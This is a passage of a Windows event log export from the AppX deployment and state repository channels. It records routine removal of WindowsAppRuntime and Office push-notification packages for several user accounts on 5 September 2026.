S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.927\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.929\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.938\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_22.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.941\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.947\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_23.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.949\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.950\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.952\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.955\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_24.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.957\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.959\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.960\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.965\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_25.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.968\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.972\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.975\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_26.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.976\t607\tDeployment Remove operation on package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1006.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.976\t626\tDeployment Remove operation on package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe has been requeued for user SID S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.987\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.987\t607\tDeployment Remove operation on package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1003.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.994\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe deferredRemovePackageFullNames: Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.015\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.016\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.031\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.033\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.035\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.050\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.052\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.068\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.071\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.073\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.093\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.095\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.115\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.118\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1003.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.140\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.142\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.146\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.162\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.163\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.177\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.179\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.181\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.198\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.199\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.210\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.218\t400\tDeployment Remove operation with target volume C: on Package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.235\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.238\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.245\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_27.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.246\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.247\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.250\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.254\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_28.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.257\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.265\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_29.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.268\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.270\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.272\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.274\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_30.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.275\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.277\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.280\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.286\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_31.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.289\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.294\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.296\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_32.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.298\t607\tDeployment Remove operation on package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1006.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.298\t626\tDeployment Remove operation on package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe has been requeued for user SID S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.316\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.319\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.338\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.341\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.345\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.351\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.352\t607\tDeployment Remove operation on package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1009.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.354\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe deferredRemovePackageFullNames: Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.378\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.379\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.397\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.400\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.403\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.423\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.424\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.444\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.448\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.450\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.472\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.474\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.491\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.494\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.497\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.520\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.522\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.540\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.603\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.607\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1009.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.638\t400\tDeployment Remove operation with target volume C: on Package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.661\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.666\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment 